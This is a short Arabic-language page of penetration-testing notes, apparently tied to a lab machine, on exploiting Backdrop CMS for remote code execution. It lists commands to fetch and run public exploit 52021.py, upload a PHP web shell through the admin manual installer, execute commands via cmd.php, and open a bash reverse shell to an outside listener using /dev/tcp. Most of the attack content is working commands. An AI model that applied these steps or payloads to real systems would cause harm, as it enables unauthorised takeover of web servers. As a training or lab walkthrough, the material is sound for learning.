> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/backdrop-cms-exploitation.md).
# Backdrop
## **استغلال تنفيذ التعليمات البرمجية عن بُعد في Backdrop CMS**
استخدم بيانات الاعتماد المكتشفة لتسجيل الدخول إلى نظام إدارة المحتوى.
**البحث عن الثغرات**
استخدم **searchsploit** لتحديد ثغرة تنفيذ تعليمات برمجية عن بُعد:
```bash
searchsploit -m php/webapps/52021.py
```
نقوم بتشغيل الاستغلال:
```bash
python3 52021.py http://10.10.11.58
```
هذا يُنشئ ملف ZIP يحتوي على صدفة PHP.
اضغط الشل على شكل **tar.gz**:
```bash
tar -czvf shell.tar.gz shell
```
ارفعه عبر **admin / installer / manual**.
**تنفيذ الأوامر**
الـ **modules/cmd/** يحتوي المجلد على **cmd.php**.
هذا يسمح بتنفيذ الأوامر:
```bash
ifconfig
```
### **صدفة عكسية لـ Backdrop CMS**
افتح مستمعًا على المنفذ 443:
```bash
nc -nlvp 443
```
حقن حمولة:
```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```
---
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